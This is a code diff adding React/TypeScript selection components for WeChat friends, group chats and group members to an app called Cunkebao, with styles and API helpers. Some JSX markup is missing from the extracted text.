+ + // 删除已选好友 + const handleRemoveFriend = (id: number) => { + if (readonly) return; + onSelect((selectedOptions || []).filter(v => v.id !== id)); + }; + + // 弹窗确认回调 + const handleConfirm = ( + selectedIds: number[], + selectedItems: typeof selectedOptions, + ) => { + onSelect(selectedItems); + if (onConfirm) onConfirm(selectedIds, selectedItems); + setRealVisible(false); + }; + + return ( + <> + {/* 输入框 */} + {showInput && ( +
      + } + allowClear={!readonly} + size="large" + readOnly={readonly} + disabled={readonly} + style={ + readonly ? { background: "#f5f5f5", cursor: "not-allowed" } : {} + } + /> +
      + )} + {/* 已选好友列表窗口 */} + {showSelectedList && (selectedOptions || []).length > 0 && ( +
      + {(selectedOptions || []).map(friend => ( +
      +
      + +
      +
      {friend.nickname || friend.friendName}
      +
      {friend.wechatId}
      +
      + {!readonly && ( +
      +
      + ))} +
      + )} + {/* 弹窗 */} + + + ); +} diff --git a/Cunkebao/src/components/FriendSelection/selectionPopup.tsx b/Cunkebao/src/components/FriendSelection/selectionPopup.tsx new file mode 100644 index 00000000..71020104 --- /dev/null +++ b/Cunkebao/src/components/FriendSelection/selectionPopup.tsx @@ -0,0 +1,245 @@ +import React, { useCallback, useEffect, useState } from "react"; +import { Popup, Checkbox } from "antd-mobile"; +import Layout from "@/components/Layout/Layout"; +import PopupHeader from "@/components/PopuLayout/header"; +import PopupFooter from "@/components/PopuLayout/footer"; +import { getFriendList } from "./api"; +import style from "./index.module.scss"; +import type { FriendSelectionItem } from "./data"; + +interface SelectionPopupProps { + visible: boolean; + onVisibleChange: (visible: boolean) => void; + selectedOptions: FriendSelectionItem[]; + onSelect: (friends: FriendSelectionItem[]) => void; + deviceIds?: number[]; + enableDeviceFilter?: boolean; + readonly?: boolean; + onConfirm?: ( + selectedIds: number[], + selectedItems: FriendSelectionItem[], + ) => void; +} + +const SelectionPopup: React.FC = ({ + visible, + onVisibleChange, + selectedOptions, + onSelect, + deviceIds = [], + enableDeviceFilter = true, + readonly = false, + onConfirm, +}) => { + const [friends, setFriends] = useState([]); + const [searchQuery, setSearchQuery] = useState(""); + const [currentPage, setCurrentPage] = useState(1); + const [totalPages, setTotalPages] = useState(1); + const [totalFriends, setTotalFriends] = useState(0); + const [loading, setLoading] = useState(false); + const [tempSelectedOptions, setTempSelectedOptions] = useState< + FriendSelectionItem[] + >([]); + + // 获取好友列表API + const fetchFriends = useCallback( + async (page: number, keyword: string = "") => { + setLoading(true); + try { + const params: any = { + page, + limit: 20, + }; + + if (keyword.trim()) { + params.keyword = keyword.trim(); + } + + if (enableDeviceFilter && deviceIds.length > 0) { + params.deviceIds = deviceIds.join(","); + } + + const response = await getFriendList(params); + if (response && response.list) { + setFriends(response.list); + setTotalFriends(response.total || 0); + setTotalPages(Math.ceil((response.total || 0) / 20)); + } + } catch (error) { + console.error("获取好友列表失败:", error); + } finally { + setLoading(false); + } + }, + [deviceIds, enableDeviceFilter], + ); + + // 处理好友选择 + const handleFriendToggle = (friend: FriendSelectionItem) => { + if (readonly) return; + + const newSelectedFriends = tempSelectedOptions.some(f => f.id === friend.id) + ? tempSelectedOptions.filter(f => f.id !== friend.id) + : tempSelectedOptions.concat(friend); + + setTempSelectedOptions(newSelectedFriends); + }; + + // 全选当前页 + const handleSelectAllCurrentPage = (checked: boolean) => { + if (readonly) return; + + if (checked) { + // 全选:添加当前页面所有未选中的好友 + const currentPageFriends = friends.filter( + friend => !tempSelectedOptions.some(f => f.id === friend.id), + ); + setTempSelectedOptions(prev => [...prev, ...currentPageFriends]); + } else { + // 取消全选:移除当前页面的所有好友 + const currentPageFriendIds = friends.map(f => f.id); + setTempSelectedOptions(prev => + prev.filter(f => !currentPageFriendIds.includes(f.id)), + ); + } + }; + + // 检查当前页是否全选 + const isCurrentPageAllSelected = + friends.length > 0 && + friends.every(friend => tempSelectedOptions.some(f => f.id === friend.id)); + + // 确认选择 + const handleConfirm = () => { + if (onConfirm) { + onConfirm( + tempSelectedOptions.map(v => v.id), + tempSelectedOptions, + ); + } + // 更新实际选中的选项 + onSelect(tempSelectedOptions); + onVisibleChange(false); + }; + + // 弹窗打开时初始化 + useEffect(() => { + if (visible) { + setCurrentPage(1); + setSearchQuery(""); + // 复制一份selectedOptions到临时变量 + setTempSelectedOptions([...selectedOptions]); + fetchFriends(1, ""); + } + }, [visible, selectedOptions]); // 只在弹窗开启时请求 + + // 搜索防抖(只在弹窗打开且搜索词变化时执行) + useEffect(() => { + if (!visible || searchQuery === "") return; // 弹窗关闭或搜索词为空时不请求 + + const timer = setTimeout(() => { + setCurrentPage(1); + fetchFriends(1, searchQuery); + }, 500); + + return () => clearTimeout(timer); + }, [searchQuery, visible]); + + // 页码变化时请求数据(只在弹窗打开且页码不是1时执行) + useEffect(() => { + if (!visible) return; // 弹窗关闭或第一页时不请求 + fetchFriends(currentPage, searchQuery); + }, [currentPage, visible, searchQuery]); + + return ( + onVisibleChange(false)} + position="bottom" + bodyStyle={{ height: "100vh" }} + > + fetchFriends(currentPage, searchQuery)} + /> + } + footer={ + onVisibleChange(false)} + onConfirm={handleConfirm} + isAllSelected={isCurrentPageAllSelected} + onSelectAll={handleSelectAllCurrentPage} + /> + } + > +
      + {loading ? ( +
      +
      加载中...
      +
      + ) : friends.length > 0 ? ( +
      + {friends.map(friend => ( +
      + f.id === friend.id)} + onChange={() => !readonly && handleFriendToggle(friend)} + disabled={readonly} + style={{ marginRight: 12 }} + /> +
      +
      + {friend.avatar ? ( + {friend.nickname} + ) : ( + friend.nickname.charAt(0) + )} +
      +
      +
      {friend.nickname}
      +
      + 微信ID: {friend.wechatId} +
      + {friend.customer && ( +
      + 归属客户: {friend.customer} +
      + )} +
      +
      +
      + ))} +
      + ) : ( +
      +
      + {deviceIds.length === 0 + ? "请先选择设备" + : searchQuery + ? `没有找到包含"${searchQuery}"的好友` + : "没有找到好友"} +
      +
      + )} +
      +
      +
      + ); +}; + +export default SelectionPopup; diff --git a/Cunkebao/src/components/GroupSelection/api.ts b/Cunkebao/src/components/GroupSelection/api.ts new file mode 100644 index 00000000..cda84b81 --- /dev/null +++ b/Cunkebao/src/components/GroupSelection/api.ts @@ -0,0 +1,10 @@ +import request from "@/api/request"; + +// 获取群组列表 +export function getGroupList(params: { + page: number; + limit: number; + keyword?: string; +}) { + return request("/v1/chatroom", params, "GET"); +} diff --git a/Cunkebao/src/components/GroupSelection/data.ts b/Cunkebao/src/components/GroupSelection/data.ts new file mode 100644 index 00000000..b042b6d3 --- /dev/null +++ b/Cunkebao/src/components/GroupSelection/data.ts @@ -0,0 +1,43 @@ +// 群组接口类型 +export interface WechatGroup { + id: string; + chatroomId: string; + name: string; + avatar: string; + ownerWechatId: string; + ownerNickname: string; + ownerAvatar: string; +} + +export interface GroupSelectionItem { + id: string; + avatar: string; + chatroomId?: string; + createTime?: number; + identifier?: string; + name: string; + ownerAlias?: string; + ownerAvatar?: string; + ownerNickname?: string; + ownerWechatId?: string; + [key: string]: any; +} + +// 组件属性接口 +export interface GroupSelectionProps { + selectedOptions: GroupSelectionItem[]; + onSelect: (groups: GroupSelectionItem[]) => void; + onSelectDetail?: (groups: WechatGroup[]) => void; + placeholder?: string; + className?: string; + visible?: boolean; + onVisibleChange?: (visible: boolean) => void; + selectedListMaxHeight?: number; + showInput?: boolean; + showSelectedList?: boolean; + readonly?: boolean; + onConfirm?: ( + selectedIds: string[], + selectedItems: GroupSelectionItem[], + ) => void; // 新增 +} diff --git a/Cunkebao/src/components/GroupSelection/index.module.scss b/Cunkebao/src/components/GroupSelection/index.module.scss new file mode 100644 index 00000000..bedba3ef --- /dev/null +++ b/Cunkebao/src/components/GroupSelection/index.module.scss @@ -0,0 +1,206 @@ +.inputWrapper { + position: relative; +} +.inputIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + font-size: 20px; +} +.input { + padding-left: 38px !important; + height: 48px; + border-radius: 16px !important; + border: 1px solid #e5e6eb !important; + font-size: 16px; + background: #f8f9fa; +} +.selectedListRow { + padding: 8px; + border-bottom: 1px solid #f0f0f0; + font-size: 14px; +} +.selectedListRowContent { + flex: 1; + display: flex; + align-items: center; + justify-content: space-between; + gap: 8px; +} +.selectedListRowContentText { + flex: 1; +} + +.popupContainer { + display: flex; + flex-direction: column; + height: 100vh; + background: #fff; +} +.popupHeader { + padding: 24px; +} +.popupTitle { + text-align: center; + font-size: 20px; + font-weight: 600; + margin-bottom: 24px; +} +.searchWrapper { + position: relative; + margin-bottom: 16px; +} +.searchInput { + padding-left: 40px !important; + padding-top: 8px !important; + padding-bottom: 8px !important; + border-radius: 24px !important; + border: 1px solid #e5e6eb !important; + font-size: 15px; + background: #f8f9fa; +} +.searchIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + font-size: 16px; +} +.clearBtn { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + height: 24px; + width: 24px; + border-radius: 50%; + min-width: 24px; +} + +.groupList { + flex: 1; + overflow-y: auto; +} +.groupListInner { + border-top: 1px solid #f0f0f0; +} +.groupItem { + display: flex; + align-items: center; + padding: 16px 24px; + border-bottom: 1px solid #f0f0f0; + transition: background 0.2s; + &:hover { + background: #f5f6fa; + } +} +.groupInfo { + display: flex; + align-items: center; + gap: 12px; + flex: 1; +} +.groupAvatar { + width: 40px; + height: 40px; + border-radius: 50%; + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + display: flex; + align-items: center; + justify-content: center; + color: #fff; + font-size: 14px; + font-weight: 500; + overflow: hidden; +} +.avatarImg { + width: 100%; + height: 100%; + object-fit: cover; +} +.groupDetail { + flex: 1; +} +.groupName { + font-weight: 500; + font-size: 16px; + color: #222; + margin-bottom: 2px; +} +.groupId { + font-size: 13px; + color: #888; + margin-bottom: 2px; +} +.groupOwner { + font-size: 13px; + color: #bdbdbd; +} + +.loadingBox { + display: flex; + align-items: center; + justify-content: center; + height: 100%; +} +.loadingText { + color: #888; + font-size: 15px; +} +.emptyBox { + display: flex; + align-items: center; + justify-content: center; + height: 100%; +} +.emptyText { + color: #888; + font-size: 15px; +} + +.paginationRow { + border-top: 1px solid #f0f0f0; + padding: 16px; + display: flex; + align-items: center; + justify-content: space-between; + background: #fff; +} +.totalCount { + font-size: 14px; + color: #888; +} +.paginationControls { + display: flex; + align-items: center; + gap: 8px; +} +.pageBtn { + padding: 0 8px; + height: 32px; + min-width: 32px; +} +.pageInfo { + font-size: 14px; + color: #222; +} + +.popupFooter { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16px; + border-top: 1px solid #f0f0f0; + background: #fff; +} +.selectedCount { + font-size: 14px; + color: #888; +} +.footerBtnGroup { + display: flex; + gap: 12px; +} diff --git a/Cunkebao/src/components/GroupSelection/index.tsx b/Cunkebao/src/components/GroupSelection/index.tsx new file mode 100644 index 00000000..fe180054 --- /dev/null +++ b/Cunkebao/src/components/GroupSelection/index.tsx @@ -0,0 +1,126 @@ +import React, { useState } from "react"; +import { SearchOutlined, DeleteOutlined } from "@ant-design/icons"; +import { Button, Input } from "antd"; +import { Avatar } from "antd-mobile"; +import style from "./index.module.scss"; +import SelectionPopup from "./selectionPopup"; +import { GroupSelectionProps } from "./data"; +export default function GroupSelection({ + selectedOptions, + onSelect, + onSelectDetail, + placeholder = "选择群聊", + className = "", + visible, + onVisibleChange, + selectedListMaxHeight = 300, + showInput = true, + showSelectedList = true, + readonly = false, + onConfirm, +}: GroupSelectionProps) { + const [popupVisible, setPopupVisible] = useState(false); + + // 删除已选群聊 + const handleRemoveGroup = (id: string) => { + if (readonly) return; + onSelect(selectedOptions.filter(g => g.id !== id)); + }; + + // 受控弹窗逻辑 + const realVisible = visible !== undefined ? visible : popupVisible; + const setRealVisible = (v: boolean) => { + if (onVisibleChange) onVisibleChange(v); + if (visible === undefined) setPopupVisible(v); + }; + + // 打开弹窗 + const openPopup = () => { + if (readonly) return; + setRealVisible(true); + }; + + // 获取显示文本 + const getDisplayText = () => { + if (selectedOptions.length === 0) return ""; + return `已选择 ${selectedOptions.length} 个群聊`; + }; + + return ( + <> + {/* 输入框 */} + {showInput && ( +
      + } + allowClear={!readonly} + size="large" + readOnly={readonly} + disabled={readonly} + style={ + readonly ? { background: "#f5f5f5", cursor: "not-allowed" } : {} + } + /> +
      + )} + {/* 已选群聊列表窗口 */} + {showSelectedList && selectedOptions.length > 0 && ( +
      + {selectedOptions.map(group => ( +
      +
      + +
      +
      {group.name}
      +
      {group.chatroomId}
      +
      + {!readonly && ( +
      +
      + ))} +
      + )} + {/* 弹窗 */} + + + ); +} diff --git a/Cunkebao/src/components/GroupSelection/selectionPopup.tsx b/Cunkebao/src/components/GroupSelection/selectionPopup.tsx new file mode 100644 index 00000000..8bf39cd6 --- /dev/null +++ b/Cunkebao/src/components/GroupSelection/selectionPopup.tsx @@ -0,0 +1,257 @@ +import React, { useState, useEffect } from "react"; +import { Popup, Checkbox } from "antd-mobile"; + +import { getGroupList } from "./api"; +import style from "./index.module.scss"; +import Layout from "@/components/Layout/Layout"; +import PopupHeader from "@/components/PopuLayout/header"; +import PopupFooter from "@/components/PopuLayout/footer"; +import { GroupSelectionItem } from "./data"; +// 群组接口类型 +interface WechatGroup { + id: string; + name: string; + avatar: string; + chatroomId?: string; + ownerWechatId?: string; + ownerNickname?: string; + ownerAvatar?: string; +} + +// 弹窗属性接口 +interface SelectionPopupProps { + visible: boolean; + onVisibleChange: (visible: boolean) => void; + selectedOptions: GroupSelectionItem[]; + onSelect: (groups: GroupSelectionItem[]) => void; + onSelectDetail?: (groups: WechatGroup[]) => void; + readonly?: boolean; + onConfirm?: ( + selectedIds: string[], + selectedItems: GroupSelectionItem[], + ) => void; +} + +export default function SelectionPopup({ + visible, + onVisibleChange, + selectedOptions, + onSelect, + onSelectDetail, + readonly = false, + onConfirm, +}: SelectionPopupProps) { + const [groups, setGroups] = useState([]); + const [searchQuery, setSearchQuery] = useState(""); + const [currentPage, setCurrentPage] = useState(1); + const [totalPages, setTotalPages] = useState(1); + const [totalGroups, setTotalGroups] = useState(0); + const [loading, setLoading] = useState(false); + const [tempSelectedOptions, setTempSelectedOptions] = useState< + GroupSelectionItem[] + >([]); + + // 获取群聊列表API + const fetchGroups = async (page: number, keyword: string = "") => { + setLoading(true); + try { + const params: any = { + page, + limit: 20, + }; + + if (keyword.trim()) { + params.keyword = keyword.trim(); + } + + const response = await getGroupList(params); + if (response && response.list) { + setGroups(response.list); + setTotalGroups(response.total || 0); + setTotalPages(Math.ceil((response.total || 0) / 20)); + } + } catch (error) { + console.error("获取群聊列表失败:", error); + } finally { + setLoading(false); + } + }; + + // 处理群聊选择 + const handleGroupToggle = (group: GroupSelectionItem) => { + if (readonly) return; + + const newSelectedGroups = tempSelectedOptions.some(g => g.id === group.id) + ? tempSelectedOptions.filter(g => g.id !== group.id) + : tempSelectedOptions.concat(group); + + setTempSelectedOptions(newSelectedGroups); + }; + + // 全选当前页 + const handleSelectAllCurrentPage = (checked: boolean) => { + if (readonly) return; + + if (checked) { + // 全选:添加当前页面所有未选中的群组 + const currentPageGroups = groups.filter( + group => !tempSelectedOptions.some(g => g.id === group.id), + ); + setTempSelectedOptions(prev => [...prev, ...currentPageGroups]); + } else { + // 取消全选:移除当前页面的所有群组 + const currentPageGroupIds = groups.map(g => g.id); + setTempSelectedOptions(prev => + prev.filter(g => !currentPageGroupIds.includes(g.id)), + ); + } + }; + + // 检查当前页是否全选 + const isCurrentPageAllSelected = + groups.length > 0 && + groups.every(group => tempSelectedOptions.some(g => g.id === group.id)); + + // 确认选择 + const handleConfirm = () => { + // 用户点击确认时,才更新实际的selectedOptions + onSelect(tempSelectedOptions); + + // 如果有 onSelectDetail 回调,传递完整的群聊对象 + if (onSelectDetail) { + const selectedGroupObjs = groups.filter(group => + tempSelectedOptions.some(g => g.id === group.id), + ); + onSelectDetail(selectedGroupObjs); + } + + if (onConfirm) { + onConfirm( + tempSelectedOptions.map(g => g.id), + tempSelectedOptions, + ); + } + onVisibleChange(false); + }; + + // 弹窗打开时初始化数据(只执行一次) + useEffect(() => { + if (visible) { + setCurrentPage(1); + setSearchQuery(""); + // 复制一份selectedOptions到临时变量 + setTempSelectedOptions([...selectedOptions]); + fetchGroups(1, ""); + } else { + // 弹窗关闭时重置状态 + setTempSelectedOptions([]); + } + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [visible]); + + // 搜索防抖(只在弹窗打开且搜索词变化时执行) + useEffect(() => { + if (!visible || searchQuery === "") return; + + const timer = setTimeout(() => { + setCurrentPage(1); + fetchGroups(1, searchQuery); + }, 500); + + return () => clearTimeout(timer); + }, [searchQuery, visible]); + + // 页码变化时请求数据(只在弹窗打开且页码不是1时执行) + useEffect(() => { + if (!visible) return; + fetchGroups(currentPage, searchQuery); + }, [currentPage, visible, searchQuery]); + + return ( + onVisibleChange(false)} + position="bottom" + bodyStyle={{ height: "100vh" }} + > + fetchGroups(currentPage, searchQuery)} + /> + } + footer={ + onVisibleChange(false)} + onConfirm={handleConfirm} + isAllSelected={isCurrentPageAllSelected} + onSelectAll={handleSelectAllCurrentPage} + /> + } + > +
      + {loading ? ( +
      +
      加载中...
      +
      + ) : groups.length > 0 ? ( +
      + {groups.map(group => ( +
      + g.id === group.id)} + onChange={() => !readonly && handleGroupToggle(group)} + disabled={readonly} + style={{ marginRight: 12 }} + /> +
      +
      + {group.avatar ? ( + {group.name} + ) : ( + group.name.charAt(0) + )} +
      +
      +
      {group.name}
      +
      + 群ID: {group.chatroomId} +
      + {group.ownerNickname && ( +
      + 群主: {group.ownerNickname} +
      + )} +
      +
      +
      + ))} +
      + ) : ( +
      +
      + {searchQuery + ? `没有找到包含"${searchQuery}"的群聊` + : "没有找到群聊"} +
      +
      + )} +
      +
      +
      + ); +} diff --git a/Cunkebao/src/components/GroupSelectionWithMembers/index.module.scss b/Cunkebao/src/components/GroupSelectionWithMembers/index.module.scss new file mode 100644 index 00000000..75e5a2ec --- /dev/null +++ b/Cunkebao/src/components/GroupSelectionWithMembers/index.module.scss @@ -0,0 +1,329 @@ +.container { + width: 100%; +} + +.inputWrapper { + position: relative; + margin-bottom: 12px; + + .inputIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + font-size: 20px; + z-index: 1; + pointer-events: none; + } + + .input { + padding-left: 38px !important; + height: 48px; + border-radius: 16px !important; + border: 1px solid #e5e6eb !important; + font-size: 16px; + background: #f8f9fa; + } + + .clearBtn { + position: absolute; + right: 12px; + top: 50%; + transform: translateY(-50%); + color: #999; + font-size: 16px; + z-index: 1; + } +} + +.selectedGroupsList { + display: flex; + flex-direction: column; + gap: 16px; +} + +.groupCard { + background: #fff; + border-radius: 12px; + padding: 16px; + border: 1px solid #e5e6eb; +} + +.groupHeader { + display: flex; + align-items: center; + justify-content: space-between; + margin-bottom: 16px; +} + +.groupInfo { + display: flex; + align-items: center; + gap: 12px; + flex: 1; + min-width: 0; +} + +.groupAvatar { + width: 48px; + height: 48px; + border-radius: 8px; + flex-shrink: 0; +} + +.groupDetails { + flex: 1; + min-width: 0; +} + +.groupName { + font-size: 16px; + font-weight: 500; + color: #222; + margin-bottom: 4px; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.groupId { + font-size: 14px; + color: #888; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.deleteGroupBtn { + color: #ff4d4f; + font-size: 18px; + padding: 4px; + min-width: auto; + height: auto; +} + +.membersSection { + padding-top: 16px; + border-top: 1px solid #f0f0f0; +} + +.membersLabel { + font-size: 14px; + color: #666; + margin-bottom: 12px; + font-weight: 500; +} + +.membersList { + display: flex; + flex-wrap: wrap; + gap: 12px; +} + +.memberItem { + display: flex; + flex-direction: column; + align-items: center; + gap: 8px; + position: relative; + width: 70px; +} + +.memberAvatar { + width: 56px; + height: 56px; + border-radius: 50%; + position: relative; +} + +.removeMemberBtn { + position: absolute; + top: -4px; + right: -4px; + width: 20px; + height: 20px; + min-width: 20px; + padding: 0; + background: #fff; + border: 1px solid #e5e6eb; + border-radius: 50%; + color: #ff4d4f; + font-size: 12px; + display: flex; + align-items: center; + justify-content: center; + z-index: 1; +} + +.memberName { + font-size: 12px; + color: #222; + text-align: center; + width: 100%; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.addMemberBtn { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + width: 56px; + height: 56px; + border: 1px dashed #d9d9d9; + border-radius: 50%; + background: #fafafa; + color: #999; + font-size: 20px; + cursor: pointer; + transition: all 0.2s; + gap: 4px; + + span { + font-size: 12px; + } + + &:active { + background: #f0f0f0; + border-color: #1677ff; + color: #1677ff; + } +} + +.memberSelectionPopup { + display: flex; + flex-direction: column; + height: 100%; + background: #fff; +} + +.popupHeader { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16px 20px; + border-bottom: 1px solid #f0f0f0; +} + +.popupTitle { + font-size: 18px; + font-weight: 600; + color: #222; +} + +.closeBtn { + color: #1677ff; + font-size: 16px; +} + +.searchBox { + padding: 12px 20px; + border-bottom: 1px solid #f0f0f0; + background: #fff; + display: flex; + align-items: center; + gap: 8px; +} + +.searchInputWrapper { + flex: 1; + position: relative; + display: flex; + align-items: center; +} + +.searchInput { + flex: 1; + background: #f5f5f5; + border-radius: 8px; + padding: 8px 12px; + font-size: 14px; +} + +.clearSearchBtn { + position: absolute; + right: 8px; + width: 20px; + height: 20px; + min-width: 20px; + padding: 0; + color: #999; + display: flex; + align-items: center; + justify-content: center; +} + +.searchBtn { + min-width: 60px; + height: 32px; +} + +.memberList { + flex: 1; + overflow-y: auto; + padding: 16px 20px; +} + +.memberListItem { + display: flex; + align-items: center; + gap: 12px; + padding: 12px 0; + border-bottom: 1px solid #f5f5f5; + cursor: pointer; + + &:last-child { + border-bottom: none; + } + + &.selected { + .memberListItemName { + color: #1677ff; + } + } +} + +.memberListItemAvatar { + width: 40px; + height: 40px; + border-radius: 50%; +} + +.memberListItemName { + flex: 1; + font-size: 16px; + color: #222; +} + +.checkmark { + color: #1677ff; + font-size: 18px; + font-weight: bold; +} + +.loadingBox { + display: flex; + align-items: center; + justify-content: center; + padding: 40px 20px; +} + +.loadingText { + font-size: 14px; + color: #999; +} + +.emptyBox { + display: flex; + align-items: center; + justify-content: center; + padding: 40px 20px; +} + +.emptyText { + font-size: 14px; + color: #999; +} diff --git a/Cunkebao/src/components/GroupSelectionWithMembers/index.tsx b/Cunkebao/src/components/GroupSelectionWithMembers/index.tsx new file mode 100644 index 00000000..ec7114d1 --- /dev/null +++ b/Cunkebao/src/components/GroupSelectionWithMembers/index.tsx @@ -0,0 +1,438 @@ +import React, { useState, useEffect } from "react"; +import { SearchOutlined, DeleteOutlined, PlusOutlined, CloseOutlined } from "@ant-design/icons"; +import { Button, Input, Popup } from "antd-mobile"; +import { Avatar } from "antd-mobile"; +import style from "./index.module.scss"; +import GroupSelection from "../GroupSelection"; +import { GroupSelectionItem } from "../GroupSelection/data"; +import request from "@/api/request"; + +// 群成员接口 +export interface GroupMember { + id: string; + nickname: string; + wechatId: string; + avatar: string; + gender?: "male" | "female"; + role?: "owner" | "admin" | "member"; +} + +// 带成员的群选项 +export interface GroupWithMembers extends GroupSelectionItem { + members?: GroupMember[]; + groupId?: string; // 用于关联成员和群 +} + +interface GroupSelectionWithMembersProps { + selectedGroups: GroupWithMembers[]; + onSelect: (groups: GroupWithMembers[]) => void; + placeholder?: string; + className?: string; + readonly?: boolean; +} + +// 获取群成员列表 +const getGroupMembers = async ( + groupId: string, + page: number = 1, + limit: number = 100, + keyword: string = "", +): Promise => { + try { + const params: any = { + page, + limit, + groupId, + }; + if (keyword.trim()) { + params.keyword = keyword.trim(); + } + const response = await request("/v1/kefu/wechatChatroom/members", params, "GET"); + // request 拦截器会返回 res.data.data ?? res.data + // 对于 { code: 200, data: { list: [...] } } 的返回,拦截器会返回 { list: [...] } + const memberList = response?.list || response?.data?.list || []; + + // 映射接口返回的数据结构到我们的接口 + return memberList.map((item: any) => ({ + id: String(item.id), + nickname: item.nickname || "", + wechatId: item.wechatId || "", + avatar: item.avatar || "", + gender: undefined, // 接口未返回,暂时设为 undefined + role: undefined, // 接口未返回,暂时设为 undefined + })); + } catch (error) { + console.error("获取群成员失败:", error); + return []; + } +}; + +const GroupSelectionWithMembers: React.FC = ({ + selectedGroups, + onSelect, + placeholder = "选择聊天群", + className = "", + readonly = false, +}) => { + const [groupSelectionVisible, setGroupSelectionVisible] = useState(false); + const [memberSelectionVisible, setMemberSelectionVisible] = useState<{ + visible: boolean; + groupId: string; + }>({ visible: false, groupId: "" }); + const [allMembers, setAllMembers] = useState>({}); + const [selectedMembers, setSelectedMembers] = useState>({}); + const [loadingMembers, setLoadingMembers] = useState(false); + const [memberSearchKeyword, setMemberSearchKeyword] = useState(""); + // 存储完整成员列表(用于搜索时切换回完整列表) + const [fullMembersCache, setFullMembersCache] = useState>({}); + + // 处理群选择 + const handleGroupSelect = (groups: GroupSelectionItem[]) => { + const groupsWithMembers: GroupWithMembers[] = groups.map(group => { + const existing = selectedGroups.find(g => g.id === group.id); + return { + ...group, + members: existing?.members || [], + }; + }); + onSelect(groupsWithMembers); + setGroupSelectionVisible(false); + }; + + // 删除群 + const handleRemoveGroup = (groupId: string) => { + if (readonly) return; + const newGroups = selectedGroups.filter(g => g.id !== groupId); + const newSelectedMembers = { ...selectedMembers }; + delete newSelectedMembers[groupId]; + setSelectedMembers(newSelectedMembers); + onSelect(newGroups); + }; + + // 打开成员选择弹窗 + const handleOpenMemberSelection = async (groupId: string) => { + if (readonly) return; + setMemberSelectionVisible({ visible: true, groupId }); + setMemberSearchKeyword(""); // 重置搜索关键词 + + // 如果还没有加载过该群的成员列表,则加载所有成员(不使用搜索关键词) + if (!allMembers[groupId] && !fullMembersCache[groupId]) { + setLoadingMembers(true); + try { + const members = await getGroupMembers(groupId, 1, 100, ""); + setAllMembers(prev => ({ ...prev, [groupId]: members })); + setFullMembersCache(prev => ({ ...prev, [groupId]: members })); // 缓存完整列表 + } catch (error) { + console.error("加载群成员失败:", error); + } finally { + setLoadingMembers(false); + } + } else if (fullMembersCache[groupId] && !allMembers[groupId]) { + // 如果有缓存但没有显示列表,恢复完整列表 + setAllMembers(prev => ({ ...prev, [groupId]: fullMembersCache[groupId] })); + } + }; + + // 关闭成员选择弹窗 + const handleCloseMemberSelection = () => { + setMemberSelectionVisible({ visible: false, groupId: "" }); + setMemberSearchKeyword(""); // 重置搜索关键词 + }; + + // 手动触发搜索 + const handleSearchMembers = async () => { + const groupId = memberSelectionVisible.groupId; + if (!groupId) return; + + const keyword = memberSearchKeyword.trim(); + + // 如果搜索关键词为空,使用缓存的完整列表 + if (!keyword) { + if (fullMembersCache[groupId] && fullMembersCache[groupId].length > 0) { + setAllMembers(prev => ({ ...prev, [groupId]: fullMembersCache[groupId] })); + } + return; + } + + // 有搜索关键词时,调用 API 搜索 + setLoadingMembers(true); + try { + const members = await getGroupMembers(groupId, 1, 100, keyword); + setAllMembers(prev => ({ ...prev, [groupId]: members })); + } catch (error) { + console.error("搜索群成员失败:", error); + } finally { + setLoadingMembers(false); + } + }; + + // 清空搜索 + const handleClearSearch = () => { + setMemberSearchKeyword(""); + const groupId = memberSelectionVisible.groupId; + if (groupId && fullMembersCache[groupId] && fullMembersCache[groupId].length > 0) { + setAllMembers(prev => ({ ...prev, [groupId]: fullMembersCache[groupId] })); + } + }; + + // 选择成员 + const handleSelectMember = (groupId: string, member: GroupMember) => { + if (readonly) return; + const currentMembers = selectedMembers[groupId] || []; + const isSelected = currentMembers.some(m => m.id === member.id); + + let newSelectedMembers = { ...selectedMembers }; + if (isSelected) { + newSelectedMembers[groupId] = currentMembers.filter(m => m.id !== member.id); + } else { + newSelectedMembers[groupId] = [...currentMembers, member]; + } + setSelectedMembers(newSelectedMembers); + + // 更新群数据 + const updatedGroups = selectedGroups.map(group => { + if (group.id === groupId) { + return { + ...group, + members: newSelectedMembers[groupId] || [], + }; + } + return group; + }); + onSelect(updatedGroups); + }; + + // 移除成员 + const handleRemoveMember = (groupId: string, memberId: string) => { + if (readonly) return; + const currentMembers = selectedMembers[groupId] || []; + const newMembers = currentMembers.filter(m => m.id !== memberId); + + const newSelectedMembers = { ...selectedMembers }; + newSelectedMembers[groupId] = newMembers; + setSelectedMembers(newSelectedMembers); + + // 更新群数据 + const updatedGroups = selectedGroups.map(group => { + if (group.id === groupId) { + return { + ...group, + members: newMembers, + }; + } + return group; + }); + onSelect(updatedGroups); + }; + + // 同步 selectedGroups 到 selectedMembers + useEffect(() => { + const membersMap: Record = {}; + selectedGroups.forEach(group => { + if (group.members && group.members.length > 0) { + membersMap[group.id] = group.members; + } + }); + setSelectedMembers(membersMap); + }, [selectedGroups.length]); + + // 获取显示文本 + const getDisplayText = () => { + if (selectedGroups.length === 0) return ""; + return `已选择${selectedGroups.length}个群聊`; + }; + + const currentGroupMembers = allMembers[memberSelectionVisible.groupId] || []; + const currentSelectedMembers = selectedMembers[memberSelectionVisible.groupId] || []; + + return ( +
      + {/* 输入框 */} +
      !readonly && setGroupSelectionVisible(true)} + > + + + {!readonly && selectedGroups.length > 0 && ( + + )} +
      + + {/* 已选群列表 */} + {selectedGroups.length > 0 && ( +
      + {selectedGroups.map(group => ( +
      + {/* 群信息 */} +
      +
      + +
      +
      {group.name}
      +
      ID: {group.chatroomId || group.id}
      +
      +
      + {!readonly && ( + + )} +
      + + {/* 成员选择区域 */} +
      +
      + 采集群内指定成员 ({group.members?.length || 0}人) +
      +
      + {group.members?.map(member => ( +
      + +
      {member.nickname}
      + {!readonly && ( + + )} +
      + ))} + {!readonly && ( +
